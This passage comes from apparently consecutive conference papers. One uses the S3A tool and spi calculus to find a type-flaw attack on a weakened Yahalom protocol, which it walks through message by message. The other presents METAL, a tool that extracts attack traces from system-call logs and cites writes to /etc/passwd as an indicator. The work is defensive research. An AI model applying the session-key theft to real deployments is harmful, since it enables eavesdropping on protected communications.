can determine whether its task succeeded in, and to prevent encryption col-
lisions;

– the intruder cannot guess or forge any secret data item.

To overcome the issue of state explosion during the synthesis of the ES-LTS –
inherent in exhaustive state exploration methods – and to lift any artificial limit
on the message length and structure, [11] makes use of symbolic message rep-
resentation. Moreover, unlike most other methods, [11] does not require manual
intervention and supports the full syntax of the spi calculus except for infinite
replication (whose construction has thus been omitted in Table 1).

The S3A tool consists of over 44000 lines of ANSI C code and fully implements
the theory presented in [11]. Its main components, depicted in Fig. 2 along with
the data flow among them in typical usage, are:

– The specification parser translates a spi calculus specification into a data
structure in tabular form, the CSS data structure, which represents the same
specification in a format readily understandable by the ES-LTS generator.

– The ES-LTS generator reads a CSS structure and generates the correspond-
ing ES-LTS. In order to further reduce the size of the ES-LTS without im-
pairing the correctness of the analysis, the ES-LTS generator exploits state
space symmetries and applies a limited form of partial order.

I Cibrario B. et al..
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Specification Parser ES−LTS Generator

Reference
Specification

Specification
Under Test

Specification Parser ES−LTS Generator

Trace Comparator

Intruder
specification

Attack
information

CSS Structure ES−LTSSpi Calculus Spi Calculus

Fig. 2. General structure of S3A and typical usage

– The symbolic trace comparator checks a pair of ES-LTS trees for symbolic
trace equivalence. If any discrepancy is found, the trace comparator gives
evidence that the input specifications were not testing equivalent [11] by
outputting the mismatched traces along with the spi calculus specification
of an intruder able to distinguish between the two input specifications.

5 Analyzing the Yahalom Protocol with S3A

5.1 Protocol Specification

As stated in [2], the automatic verification of testing equivalence is useful to check
the correctness of a cryptographic protocol with respect to both authenticity and
secrecy.

In particular, the secrecy property is defined as:

Inst(M) � Inst(M ′) if F (M) � F (M ′) ∀M,M ′ , (1)

where Inst(M) represents an instance of the cryptographic protocol with a secret
parameter M , � denotes testing equivalence and F (M) is the final action the
protocol accomplishes on the secret M .

The authenticity property is more involved, and entails the comparison be-
tween the model of the cryptographic protocol Inst(M) against a reference spec-
ification of the same protocol, Instspec(M), known to be correct in advance.

Then, the authenticity property is defined as:

Inst(M) � Instspec(M) ∀M . (2)

Informally, this property means that if the model and the reference specifi-
cation are testing equivalent for any M , one can rest assured that no external
tester process may distinguish between the actual protocol and its “magically
correct” specification.

If there is no testing equivalence, then there is at least a tester process that
may trigger and recognize a difference between the actual and the intended
behavior of the protocol, thus possibly pointing out a weakness of the protocol
itself.
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initiator(I, R, kIS) �
(ν nI)(

c〈I, nI〉.
c(x, y).
case x of {xR, xkIR, xnI , xnR}kIS in
[xR is R][xnI is nI ]
c〈y, {xnR}xkIR〉.
(ν M )(c〈{M, M}xkIR〉.0))

responder(R, kRS) �
c(xI1, xnI).
(ν nR)(

c〈R, {xI1, xnI , nR}kRS 〉.
c(x, y).
case x of {xI2, xkIR}kRS in
[xI1 is xI2]
case y of {xnR}xkIR in
[xnR is nR]
c(z).
case z of {xM1, xM2}xkIR in
c〈xM1, xM2〉.0)

server(I, R, kIS , kRS) �
c(xR, x). [xR isR]
case x of {xI, xnI , xnR}kRS in
[xI is I]
(ν kIR)(c〈{xR, kIR, xnI , xnR}kIS ,

{xI, kIR}kRS 〉.0)

Inst() �
(ν kAS , kBS)(initiator(A, B, kAS)

|responder(B, kBS)
|server(A, B, kAS , kBS)
|initiator(B, A, kBS))

Fig. 3. Model of the 2-session, weakened Yahalom protocol

Following these guidelines, S3A has been used to analyze a weakened version
of the Yahalom protocol, presented in Sect. 2, and to check whether it satisfies
the authenticity property. The weakening consists in suppressing the initiator’s
identity check in the server specification; in other words, we assume that the
server always replies to the initiator using a valid long-term key, kIS , without
first checking that the initiator’s identity actually is I.

This simplification could be tempting in some situations, for example when all
legal initiators share the same identity (and long-term key), and the server knows
that identity in advance. This weakened version of the protocol also models a
possible situation where the check on the identity of the initiator is missed due
to an implementation mistake.

As expected, S3A discovered a type-flaw bug which can be exploited when
the intruder works on, and interferes with, two parallel sessions of the Yahalom
protocol, both run by the same agents A and B:

– In the first session agent A is the initiator (denoted IA for short) and agent
B is the responder (RB for short); this session will be denoted as IARB .

– In the second session the roles of agents A and B are reversed, i.e. A is the
responder and B is the initiator; it will be denoted as IBRA. For this session,
both the true responder and the true server have been omitted for simplicity,
since their presence is unessential to the attack and they are both embodied
by the intruder.

This situation is modeled by the spi calculus specification shown in Fig. 3;
with respect to the basic specification already shown in Fig. 1, the following
differences have been introduced, and are highlighted in boldface:
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– there is an additional instance of the initiator;
– after the authentication, the initiator and the responder exchange a secret

– represented by the pair (M,M) where M is a fresh datum generated by
the initiator – by encrypting it with the session key kIARB

they just agreed
upon; the responder then publishes the secret as its final operation.

– in the server specification, the check on the identity of the initiator, received
in message 2, has been suppressed.

Note that, if the intruder takes possession of the session key kIARB
, the secret

published by the responder may not be the same sent by the initiator, because
the intruder can encrypt anything else with kIARB

and then pass the result to
the responder.

To verify the correctness of the protocol with respect to the authenticity
property presented in [2], we have to check whether the specification of Fig. 3 is
testing equivalent to a reference specification of the same protocol that always
behaves correctly.

The reference specification of the Yahalom protocol is shown in Fig. 4; to build
it, we used the same method presented in [2], namely, the reference specification
synchronizes the initiator and the responder by means of an I/O operation on
the restricted channel s and then makes the initiator itself publish the secret
(M,M) as its last step. The synchronization ensures that the initiator publishes
the secret only after the responder has carried out its task completely, which
is the expected behavior of the protocol. In this context, the publication of the
secret takes the role of the final action F (M) of [2].

initiator(I, R, kIS) �
(ν nI)(

c〈I, nI〉.
c(x, y).
case x of {xR, xkIR, xnI , xnR}kIS in
[xR is R][xnI is nI ]
c〈y, {xnR}xkIR〉.
(ν M, s)(c〈{s, s}xkIR〉.

s(z).
c〈M, M 〉.0))

responder(R, kRS) �
c(xI1, xnI).
(ν nR)(

c〈R, {xI1, xnI , nR}kRS 〉.
c(x, y).
case x of {xI2, xkIR}kRS in
[xI1 is xI2]
case y of {xnR}xkIR in
[xnR is nR]
c(z).
case z of {xS1, xS2}xkIR in

(ν any)(xS1〈any〉.0))

server(I, R, kIS , kRS) �
c(xR, x). [xR isR]
case x of {xI, xnI , xnR}kRS in
[xI is I]
(ν kIR)(c〈{xR, kIR, xnI , xnR}kIS ,

{xI, kIR}kRS 〉.0)

Inst() �
(ν kAS , kBS)(initiator(A, B, kAS)

|responder(B, kBS)
|server(A, B, kAS , kBS)
|initiator(B, A, kBS))

Fig. 4. Reference specification of the 2-session, weakened Yahalom protocol
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With respect to Fig. 3, the additional steps required to construct the reference
specification are highlighted in boldface in Fig. 4.

Unlike the original protocol specification, in the reference specification the
initiator always publishes the secret (M,M), and nothing else, even though the
intruder took possession of the session key.

Informally, intuition suggests that trace equivalence of the two specifications
entails that the actual behavior of the protocol, as depicted in Fig. 3, always
coincides with the expected behavior, depicted in Fig. 4, in the sense that no
action by an external observer can distinguish between them.

5.2 S3A Output

When comparing the spi calculus specifications of Figs. 3 and 4, S3A finds out
a number of differences, that is, there are paths in the ES-LTS corresponding to
the original protocol specification that do not match the reference specification.

0000 Σ = {c, B, A}

�
c B, nIB

0001 Σ = · · · ∪ {nIB }

�
c A, nIA

0198 Σ = · · · ∪ {nIA}

�
c A, γ8, nIB , nIA

05C9

�
c B, {A, γ8, nIB , nIA , nRB }kBS

05CA Σ = · · · ∪ {{A, γ8, nIB , nIA , nRB }kBS }

�
c B, {A, γ8, nIB , nIA , nRB }kBS

0D36

�
c {B, kIARB , nIA , nRB }kAS ,

{A, γ8, nIB , kIARB }kBS

0D37 Σ = · · · ∪
{

{B, kIARB , nIA , nRB }kAS ,
{A, γ8, nIB , kIARB }kBS

}

�
c {B, kIARB , nIA , nRB }kAS , γ10

0FDA

�
c {A, γ8, nIB , kIARB }kBS , γ9

0FDB

�
c γ9, {kIARB }γ8

0FFF Σ = · · · ∪ {kIARB }

�
c γ10, {nRB }kIARB

1027 Σ = · · · ∪ {nRB }

�
c {A, γ8, nIB , kIARB }kBS ,

{nRB }kIARB

106F

�
c {γ13, γ14}kIARB

107F

�
c γ13, γ14

1080

Fig. 5. The attack path
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Figure 5 is the graphical representation of one representative path. There, ES-
LTS states are represented by circles and, beside each state, the representation
of the intruder knowledge at that stage, denoted as Σ, is shown. As outlined in
[6, 11], this is not a simple collection of all data items the intruder knows about;
instead, it is a minimized, canonical representation of the intruder knowledge.
This way of representing the intruder knowledge allows S3A to overcome some
limitations of similar tools, such as the restriction of having only atomic encryp-
tion keys [7, 17]. The initial knowledge of the intruder, associated with the initial
ES-LTS state 0000, is made up of all the free names in the protocol specification.

Input/output transitions are represented by arrows; the name of the channel
is on the left of each arrow (overlined if the transition is an output) and the
message is on the right. In input transitions, the message represents the term
sent by the intruder to the process performing the input; such terms are forged
by the intruder itself starting from its current knowledge. In output transitions,
the message represents the term sent by a spi calculus process, and observed by
the intruder.

Moreover, names in the form γi denote a generic term, i.e. the symbolic rep-
resentation of any term that the intruder could build starting from its knowledge
at the time the generic term was first generated.

Starting with the path shown in Fig. 5, the trace comparator is also able to
build the spi calculus specification of the corresponding intruder, not shown here
for brevity, that can give a better understanding of the attack.

From a rough analysis of the attack path we can already gather some infor-
mation, highlighted in boldface in Fig. 5:

– In state 0FFF the intruder gains access to the session key kIARB
.

– In the transition from state 106F to state 107F, the intruder can generate a
message of its choice, {γ13, γ14}kIARB

and pass it to the responder instead
of the intended {M,M}kIARB

. In turn, this action leads to the subsequent
publication of (γ13, γ14) instead of the intended (M,M) in the transition
from state 107F to state 1080.

To find this attack, S3A explored 30, 787 ES-LTS states, and concluded its
task in about 9s on a desktop PC with a 1700MHz Athlon XP 2100+ CPU, a
performance comparable with similar tools despite the higher sophistication of
the testing equivalence check.

5.3 Description of the Attack

Figure 6 presents a graphical representation of the attack on the Yahalom pro-
tocol found by S3A, and Table 2 lists the messages exchanged by the protocol
agents while the attack is being exploited; both have been derived from the
ES-LTS path leading to the attack and depicted in Fig. 5.

In both Fig. 6 and Table 2, the session IARB is shown on the left and the
session IBRA is shown on the right. Moreover, the notation P (g) is a shorthand
for the intruder embodying an agent g so that, for example, P (IA) represents
the intruder embodying the initiator IA.
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Session IARB Session IBRA

IA

S

RB

P (IA)

P (RB)
�

3

�

2

�
4

�1: A, nIA �1: A∗, nIA

IB

P (S)

P (RA)

�

3
:
{A

, γ
8
, n

I B
, k

I A
R

B
} k B

S
, γ

9

�
4: γ9, {kIARB

}γ8

�1: B, nIB

Fig. 6. Graphical representation of the attack on the Yahalom protocol

For the sake of simplicity, all messages corresponding to the normal run of
the protocol have been omitted in Fig. 6, as they can be found in Fig. 1; only
the messages intercepted by, or forged by the intruder are shown. For the same
reason, all messages not relevant to the attack have been omitted in Table 2.

In addition, to make the actions of the intruder clearer, each message ex-
change has been split into two phases: in the first phase, the originating agent
sends the message, which the intruder intercepts; then, in the second phase,
the intruder sends a (possibly modified) message to its intended recipient. So,
for example, in message 1 on the left of Table 2, IA sends the message A,nIA

and the intruder intercepts it; then, the intruder sends a modified message, i.e.
A, γ8, nIB

, nIA
, to RB .

The attack is based on a type flaw and proceeds as follows:

– In session IBRA the intruder eavesdrops and blocks message 1, that IB

intended to send to RA, and that contains the nonce nIB
generated by IB .

– In session IARB , the intruder replaces IA’s identity in message 1 with the
tuple A∗ = (A, γ8, nIB

), where γ8 is a datum freely chosen by the intruder
and nIB

is the nonce generated by agent B and sent in message 1 of session
IBRA, which the intruder eavesdropped. It is assumed that RB is unable to
detect that the atomic term IA has been replaced by a tuple.

– Session IARB then proceeds normally, with the intruder eavesdropping all
messages, albeit B has been tricked into thinking that the identity of the
initiator is A∗ instead of A.

– Using the information gathered from session IARB , the intruder can now
forge the third message of session IBRA as {A, γ8, nIB

, kIARB
}kBS

, γ9, so that:
• γ8 is passed to IB in place of the short-term session key, kIBRA

;
• kIARB

is passed to IB in place of the nonce generated by RA, nRA
;

• γ9 is a datum freely chosen by the intruder.
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Table 2. MSC of the attack on the Yahalom protocol

Session IARB

# Message

Session IBRA

# Message

1)
IB → P (RA) : B, nIB

P (IB) → RA : omitted

1)

IA → P (RB) : A, nIA

P (IA) → RB : A, γ8, nIB︸ ︷︷ ︸
A∗

, nIA

2)

RB → P (SIARB ) : B,
{

A, γ8, nIB︸ ︷︷ ︸
A∗

, nIA , nRB

}

kBS

P (RB) → SIARB : B,
{

A, γ8, nIB︸ ︷︷ ︸
A∗

, nIA , nRB

}

kBS

3)

SIARB → P (IA) :
{

B, kIARB , nIA , nRB

}

kAS

,
{

A, γ8, nIB︸ ︷︷ ︸
A∗

, kIARB

}

kBS

P (SIARB ) → IA :
{

B, kIARB , nIA , nRB

}

kAS

, γ10

2)
RA → P (SIBRA) : omitted

P (RA) → SIBRA : omitted

3)

SIBRA → P (IB) : omitted

P (SIBRA) → IB :
{

A, γ8
︸︷︷︸

kIBRA

, nIB , kIARB︸ ︷︷ ︸
nRA

}

kBS

, γ9

4)

IB → P (RA) : γ9,
{

kIARB

}

γ8︸ ︷︷ ︸
{

nRA

}

kIBRA

P (IB) → RA : omitted

4)

IA → P (RB) : γ10,
{

nRB

}

kIARB

P (IA) → RB :
{

A, γ8, nIB︸ ︷︷ ︸
A∗

, kIARB

}

kBS

,
{

nRB

}

kIARB

Note that, albeit the intruder cannot perform the synthesis of the message
{A, γ8, nIB

, kIARB
}kBS

from its components because it does not know kBS ,
it can use the message anyway, because it has snooped this information as
part of message 2 in session IARB.

– When IB receives the forged message described above, it processes the in-
put data normally. As a result, it sends back to the intruder the session
key of session IARB, i.e. kIARB

, encrypted with γ8. Since γ8 was chosen
by the intruder itself, it can readily decrypt the message and take pos-
session of kIARB

, which was instead intended to be known to IA and RB

only.
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6 Related Work

The Yahalom protocol was already analyzed in the past by [5, 18, 20], and more
recently by [3], both to look at its properties and to check it for vulnerabilities.

In [5], no vulnerabilities were found; however, the logic of authentication
used there did not attempt to investigate type-flaw attacks. The same paper
also proposed a strengthened version of the protocol – BAN-Yahalom – to repair
a minor flaw in which agent A, acting maliciously, could replay an old key to B
in message 4.

Later, [20] discovered two attacks on BAN-Yahalom; albeit unrelated to the
bug found by S3A, one of them is based on a type-flaw and involves passing off
the concatenation of two nonces as a single nonce in message 1.

Then, [18] independently rediscovered one of the attacks described in [20]
and, in turn, proposed an enhanced version of the protocol – Modified Yahalom.
The type-flaw attack described in [20] went undetected, because the model used
by [18] assumes that the malicious message can be recognized because of length
discrepancy.

Finally, [3] found a minor attack in the original Yahalom protocol: the attack
acts on a single session of the protocol, made of an initiator A, a responder B and
a server S, in which the long-term key kAS , used by the initiator to communicate
with the server, has been compromised and is known to the intruder. The same
situation arises when the intruder is by itself authorized to play in the initiator
role.

The attack is based on a type-flaw, and requires the tuple-splitting operation
to be right-associative; it allows the intruder to pass to B the pair (γ3, nB), of
which the leading portion γ3 has been chosen by the intruder itself, instead of the
intended session key kAB issued by the server. In order to do this, the intruder
replays part of message 2, sent from B to S, in message 4.

It should be noted that this kind of attack is relatively “benign”, because the
intruder is unable to trick B into believing he is communicating with somebody
else, it cannot influence the outcome of other sessions of the protocol, and so
on. The only effect of the attack is that B accepts a forged key that did not
originate from the server, and will use it to communicate with the intruder in
the session just established.

Interestingly enough, S3A was able to discover that the same type-flaw bug
found by [20] in BAN-Yahalom is still present in Modified Yahalom, in despite of
the enhancement. Moreover, S3A also confirmed the bug in the original Yahalom
protocol presented in [3].

The different methods of analysis used in [5, 11, 18, 20, 3] pose the question
of whether it is advisable to assume the presence of pervasive type-checking in
protocol analysis and its subsequent implementation. The general topic of the
advisability of type systems in specification languages was discussed at length
in [12] with no final answer.

In the somewhat more restricted scope of protocol analysis, we point out that
if a protocol was judged to be correct on the basis of an analysis technique with

I Cibrario B. et al..



Automatic Detection of Attacks on Cryptographic Protocols 83

pervasive type-checking, the corresponding implementation shall do the same,
even if carrying out type-checking on every protocol message can be expensive.

On the other hand, a verification technique not constrained by type-checking
[11] can detect type-flaw attacks when they occur, thus enabling the implemen-
tation to perform type-checking on a case-by-case basis, i.e. only on the messages
involved in the attack. This leads to an implementation that is both correct and
efficient, because the type-checking acts only on those messages that the intruder
can build to cheat the protocol agents.

7 Conclusion

In this paper, we have shown that the method for checking authenticity and
secrecy properties by testing equivalence presented in [11] and implemented by
the S3A tool can be used with success to discover complex bugs in security
protocols. We showed in particular how a type-flaw bug was found in a weakened
version of the Yahalom protocol with no human intervention, and that a variant
of the Yahalom protocol described in the literature [18] is indeed affected by a
defect of the same kind as the one noticed in another variant of the protocol by
[20].

An important aspect to remark is that these bugs were found without knowing
them in advance, whereas most other bugs on cryptographic protocols reported
in the literature have been first discovered by hand and then “found” again by
using some tool. The type-flaw attack that we found is indeed quite complex,
which makes it nearly impossible to find without the aid of an automatic tool.
This shows definitely the usefulness of analysis tools like S3A.

The reason why S3A can possibly find bugs not found by other tools stands
in the more sophisticated features of both the spi calculus testing equivalence
based check method and the symbolic techniques used to implement it in S3A
[11], which does not impose any artificial restriction on message length and
structure. The experiments made on the Yahalom protocols showed that the
performance level of S3A is comparable with other state-of-the-art tools, even if
it performs more sophisticated checks; most importantly, its performance is good
enough to use it not only to check simple “toy” protocols, but for the analysis
of real-world cryptographic protocols as well.

S3A is still a prototype version which is being improved in several ways. Work
is in progress to devise a better notion of partial order on ES-LTS traces, which
is only partially implemented by now, and to introduce the possibility to handle
some forms of the infinite replication operator of the spi calculus.
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Abstract. As manual analysis of attacks is time consuming and requires
expertise, we developed a partly automated tool for extracting manifesta-
tions of intrusive behaviour from audit records, METAL (Manifestation
Extraction Tool for Analysis of Logs). The tool extracts changes in au-
dit data that are caused by an attack. The changes are determined by
comparing data generated during normal operation to data generated
during a successful attack. METAL identifies all processes that may be
affected by the attack and the specific system call sequences, arguments
and return values that are changed by the attack and makes it possi-
ble to analyse many attacks in a reasonable amount of time. Thus it
is quicker and easier to find groups of attacks with similar properties
and the automation of the process makes attack analysis considerably
easier. We tested the tool in analyses of five different attacks and found
that it works well, is considerably less time consuming and gives a better
overview of the attacks than manual analysis.

Keywords: Automated attack analysis, intrusion detection, system calls,
log data.

1 Introduction

Audit data collection and processing is an important part of intrusion detec-
tion. Data can be collected from different sources, such as networks, hosts or
applications, as described in [1], [2] and [3] respectively. The data may contain
useful traces of illicit or abnormal activities and are processed in different ways
to find the traces and make critical decisions as to whether events are normal
or intrusive. The processing can be done using rule based systems [4], expert
systems [5] or neural networks [6].

From the perspective of intrusion detection, an important property of audit
data is that the contents should reveal features of attacks that can be used for
detection. The effort to log the data and the amount of data should also be
manageable. In reality, however, audit data sources are almost never adapted to
the needs of the intrusion detector.

K. Julisch and C. Kruegel (Eds.): DIMVA 2005, LNCS 3548, pp. 85–102, 2005.
c© Springer-Verlag Berlin Heidelberg 2005
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To create an adapted log source, we must analyse attacks to find relevant
features, and make sure they are present in the log. METAL (Manifestation
Extraction Tool for Analysis of Logs) is a tool for attack analysis. It extracts
useful audit information (manifestations) by comparing system calls made by
processes active during normal operation and during an attack.

Many researchers have used system call logs for intrusion detection because of
their good ability to reveal suspicious program behaviour, e.g. Forrest et al. [7].
System call logs do not cover all types of attacks, demonstrated in [8], but have
the potential to cover more attacks than any other data source available today.
Our tool can help to find a selection of system calls that can be used for intrusion
detection.

The tool analyses differences between the logs in several ways, not only to
find the most evident manifestation, but also to find all1 possible manifestations
present in the logs. The extracted manifestation can be studied to find sets of
data that should be part of a log source adapted to intrusion detection.

Auditing can be a resource demanding task and there is always a trade off
between coverage and accuracy. METAL output consists of reports containing
primarily relevant changes in program behaviour. By connecting METAL to a
log source and providing METAL output as log source input, only log activity
that is considered anomalous will be processed. This will give higher quality
intrusion detection. METAL output can also be used by an IDS signature writer
to quickly produce new signatures.

In the research community, METAL can be used as a tool for reseachers that
want to study what log items are generated by certain attacks. By inspecting and
generalising these log items, new classifications of attacks might be constructed.

The paper is organised as follows. Section 2 gives related work. Section 3 dis-
cusses the principles behind the extraction of manifestations. Section 4 descibes
the tool. Section 5 gives a discussion of how to use and further refine the out-
put of the tool. Section 6 describes the results of our attack analysis. Section 7
concludes the paper.

2 Related Work

There are two ways of finding out what log data are useful for intrusion detection.
The first is to study the attack code or the target code containing the vulner-
ability. and the other is to study log data to find out how the attack manifests
itself.

Daniels and Spafford [9] study low level IP attacks to find audit requirements
that should be part of a log source to detect this type of attack. Zamboni [10]
proposes internal sensors for generating better data for intrusion detection. Cre-
ating internal sensors requires studying attacks to instrument applications to log
the data considered necessary for attack detection. The advantage of studying

1 ‘All’ should be read as for the defined types of manifestations that METAL can
extract, all instances of these types will be found.
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attacks theoretically is it is not necessary to generate log data from the attack.
The disadvantage is it is not possible to predict all possible manifestations and
useful log data will thus be missed. Further, a great deal of expert knowledge is
needed to analyse the attacks.

Studying attacks in log data provides a more complete picture of the effects
of an attack. Most work on examining attack manifestations in log data focuses
on system call sequences. Forrest et al. [7] created a foundation for identifying
process behaviour by comparing system call sequences. They modelled normal
behaviour by recording sequences of system calls and comparing these with the
sequences generated by intrusive behaviour. We use their method of comparing
sequences to perform process matching. Killourhy et al. [11] used the method
proposed by Forrest et al. to semi-automatically extract sequences of system
calls that differ between normal and attack behaviour. They group the sequence
manifestations into four classes: foreign symbol, minimal foreign sequence, dor-
mant sequence, and not anomalous. We use some of their terminology to denote
types of manifestations.

It may also be interesting to look at other parts of the system call than simply
the system call name to extract manifestations. Axelsson et al [12] compared
the traces of attacks in system call logs without arguments to a light weight log
containing only the execve system call with arguments. A clear majority of the
attacks they examined generated better manifestations in their light weight log.
Kruegel et al. [13] also focused on system call arguments. They avoided intrusion
detection evasion problems by incorporating analyses of system call arguments.

As studying attacks in log data is tedious, it is desirable to automate the
attack analysis. Lee and Stolfo [14] used the RIPPER tool to automatically
extract attack features from log data. Attack features are the parameters that
show the most significant difference between the normal data and the attack
data. This is an interesting method for identifying the parameters that provide
the most information about the attack. However, their method requires labelled
log data and thus requires someone to manually find out which parts of data
should be classified as attack data.

Another project to automatically find attack manifestations is reported in
Honeycomb [15]. Their focus is to generate intrusion detection signatures au-
tomatically from network packet headers and payload. They analyse network
traffic that comes into a honeypot and use techniques called header walking and
normalisation to find and record anomalies as signatures. This method requires a
manually created specification of the normal behaviour of the network protocols
and is very specific to network traffic analysis.

Our goal is to analyse attacks efficiently and form a complete picture of how
they manifest in log data. Our tool is partly automated and provides both an
overview of the attack and a complete list of attack manifestations. The tool not
only examines manifestations in sequences of system calls, as in Killourhy et al.,
but also in system call arguments and return values.



88 U. Larson, E. Lundin-Barse, and E. Jonsson

3 The Manifestation Extraction Process

Successful and efficient intrusion detection requires log data adapted for de-
tection purposes. We need better coverage of attacks and more efficient data
collection in terms of computer processing requirements and amount of data
generated. We would also like to eliminate “noise” in the data that disturbs
the detection and other data that are not useful for detection purposes. These
requirements are sometimes contradictory however and we need to make a com-
promise , for example, between coverage and amount of data.

The first step towards creating an adapted log data source is to develop an
attack classification scheme that is based on which log data can be used to
detect the attack. A classification allows us to find groups of attacks that can
be detected using the same log data. We can then select log data elements from
the set of log data that corresponds to the attack classes we want to detect and
make them part of a new adapted log source.

Our approach to determining the set of data that can be used to detect an
attack is based on studying how the attack manifests in log data. The following
sections describe principles for how to extract the attack manifestations and how
to automate the extraction process.

3.1 Manifestation Extraction

The term attack manifestation is defined as sequences of log data that are
added, changed, or removed by the attack when comparing log data from an
attack event with log data from normal usage of the target service. Lundin-
Barse and Jonsson [8] suggest a framework and methods for extracting attack
manifestations. They extract attack manifestations by comparing the log data
from a specific part of the attack to a log from very similar normal behaviour
(see Fig. 1).

attack success

Manifestation F5
Manifestation F4
Manifestation F3
Manifestation F2
Manifestation F1

...

Manifestation S5
Manifestation S4
Manifestation S3
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Fig. 1. Manifestation extraction
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The framework describes how to extract the log entries that are affected by
the attack, evaluate their quality, and use them to identify the log elements
that can be used to detect the attack. The framework requires the attack to be
executed on a controlled lab system with few other activities. Logging is started
just before the attack or normal program is executed and stopped as soon as
possible after the activity is finished. The eight steps in the framework are:

1. Identify different parts of the attack, i.e. attack events.
2. Determine normal events to which the attack events can be compared.
3. Classify the attack events according to their usefulness.
4. Extract event traces by logging successful attack events and the corre-

sponding normal attack events.
5. Extract attack manifestations by comparing traces.
6. Classify the attack manifestations.
7. Create attack indicators using information from the attack manifestations.
8. Define the log data requirements of the attack by studying the attack

indicators.

While the framework provides a foundation for analysing attacks it is not fully
developed and the experiments of Lundin-Barse and Jonsson using the method
have chiefly been done manually. Their analysis of attacks is time consuming and
requires a great deal of knowledge about the target system and some knowledge
about the attack.

The most time consuming step of the framework is step 5, the extraction
of attack manifestations, since the log files can be long, several processes may
be active, and we do not know which processes or parts of the log files that
are most important. Automation of this step is thus important to makeing the
attack analysis effective. The METAL tool builds on this framework, and we
further refine and automate the process of extracting attack manifestations.

3.2 Sanitising

Automating the manifestation extraction makes it easier to analyse a large num-
ber of attacks in a reasonable time but it causes some practical problems. One
is that process activity differs slightly between different log sessions of the same
type, e.g. when we compare logs taken from two runs of normal activity. Certain
system calls always generate different return values or take different arguments.
Certain properties of system calls add noise to the logs and decrease the accuracy
of the output manifestations. For example, the return value from the system call
time is the current time and will always be different between two calls. When
the work is done manually, expert knowledge is used to sort out the relevant
processes and manifestations. When we want to remove noise automatically, we
need other methods to sort out the relevant differences.

We propose a method that we call static sanitising to remove noise that all
processes have in common. We also propose a method, called dynamic sanitising,
to remove noise that is process specific.



90 U. Larson, E. Lundin-Barse, and E. Jonsson

Fig. 2. Performing static and dynamic sanitising

A common feature of the two methods is that they use a rule file that contains
information about what parts of a system call should be normalised, but the
methods for creating the rules are different. Static sanitising uses rules common
for all processes and dynamic sanitising uses process-specific rules. Figure 2
shows static and dynamic sanitising.

Static Sanitising. A subset of the available system calls generates different ar-
guments or return values almost every time they are used, independently of the
process that generates them. These arguments and return values must be con-
sidered irrelevant since the change is natural and will almost always appear. As
an example consider the time system call, which returns current time.

We create the static rules by inspecting log files from different processes. The
arguments and return values that differ almost every time they appear are added
to the rule file. These static rules are used to normalise arguments and return
values in the logs of all the processes we compare.

Dynamic Sanitising. Dynamic sanitising removes disturbing arguments and re-
turn values that are process specific. A dynamic rule is created by comparing
either a pair of normal log sessions or a pair of attack log sessions. Differences in
behaviour between logs that should be equal are recorded and used as dynamic
rules. Static and dynamic rules are used together to remove irrelevant differ-
ences detected in comparisons of normal-attack without removing interesting
manifestations.

Sanitising Infrequently Occurring Events. Since process activity in all active pro-
cesses is written to the log, we can expect that the log contains several processes
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that are not part of the attack. These processes are so called background pro-
cesses. A background process performs a repetitive task over time, thus gener-
ating a repetitive pattern of system calls. This pattern may vary from time to
time, however. If a variation is infrequent, it may affect only some of the logs,
thus causing a potential manifestation. During a short log time these variations
may appear as manifestations. This behaviour can not be removed by dynamic
sanitising. Section 5 describes two methods for reducing manifestations that are
caused by infrequently occurring events.

3.3 Types of Manifestations

We extract five different types of manifestations, unique system calls, unique
foreign sequences, unique arguments, unique return values and repeated normal
sequences. We use log1 and log2 to denote two input logs.

Unique System Calls. A unique system call is a system call present in log1 but
not in log2. It indicates that an operation has been omitted or added to the
sequence of operations that the program executes. The presence of a unique
system call in log1 implies a program flow different from that recorded in log2.

The occurrence of an execve call is an event that has the potential to signif-
icantly affect the current flow of execution.

Unique Minimal Foreign Sequences. Consider a program that relies on informa-
tion in a configuration file to decide what operations a user is allowed to do. If
the attack can insert an extra write system call, it can change the content of the
configuration file before it is read by the program. The attack can then give the
user additional rights. This may generate a new sequence of system calls that
the program does not normally generate, i.e. a foreign sequence.

A unique minimal foreign sequence (MFS) of system calls in log1 differs
by exactly one system call from the closest sequence in log2. Consider Fig. 3
showing the trees of depth k = 3 constructed from the sequence A,B,C,A,B,D
taken from log1.

Now, compare this to sequence A,B,B,C,A,B. We obtain the following mis-
matching sequences: A,B,B and B,B,C. Since neither A,B nor B,C are mis-
matches, we obtain B,B and B,B as the minimal foreign sequences. Since B,B
and B,B are equal, we obtain B,B as a unique minimal foreign sequence.

Unique Argument Values. A unique argument occurs for one specific system call
in log1 but is not present for the same system call in log2. Consider two system

Fig. 3. Trees from sequence A,B,C,A,B,D with depth k = 3
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calls, Slog1 and Slog2, where name(Slog1) = name(Slog2). System call Slog1 has
argument list ASlog1 = {a11, a12} and Slog2 has argument list ASlog2 = {a21, a22}.
In log1, the possible values of a11 are A and B and of a12 are C and D. In log2,
we have values A and E for a21 and C and D for a22. A comparison of of a11 and
a21 reveals B and E as unique arguments for Slog1 and Slog2 respectively since
they are present in one of the logs but not in the other.

Examples of a unique argument may be an unusual filename, such as
/etc/passwd, occurring in a write call, a uid sent to a setuid call or the pro-
gram to be executed in an execve call. The presence of a unique argument may
reveal the execution of an exploit program.

Unique Return Values. A unique return value occurs as return value for one
specific system call in log1 but is not present for the same system call in log2.

Consider two system calls, Slog1 and Slog2, where name(Slog1) = name(Slog2).
System call Slog1 has a return value of RSlog1 and Slog2 has a return value of
RSlog2 . In log1, the possible values of R are A and B. In log2, the possible values
are A and E. A comparison of RSlog1 and RSlog2 reveals B and E as unique return
values for Slog1 and Slog2 respecively since they are present in one of the logs
but not in the other.

A unique return value may be the return value from a setuid or getuid call.
A program that always returns uid of a normal user that suddenly returns super
user uid is an indicator of possibly anomalous behaviour.

Repeated Normal Sequences. A repeated normal sequence (RNS) is a sequence
of system calls that is present in both log1 and log2 and is repeated more times
in one log than in the other log. The RNS can be useful in two different cases. It
can show that differences between two processes consist simply of a number of
repetitions of a normal sequence. It can also show that during a certain time, the
number of operations differs significantly even though all sequences are normal.
This may e.g. reveal a flooding attack.

4 The METAL Tool

The Manifestation Extraction Tool for Analysis of Logs (METAL) uses infor-
mation contained in system call log files. These log files are generated by using
a publicly available tool called syscalltracker2.

Log files are created by starting syscalltracker, performing normal activity or
attack activity and then stopping syscalltracker. The system calls generated by
all active processes during the logging are captured and written to file. As de-
scribed in Sect. 3.3, we extract five types of manifestations, unique system calls,
unique foreign sequences, unique arguments, unique return values, and repeated
normal sequences. These manifestations were chosen since previous experiments

2 Syscalltracker is open source and can be downloaded from
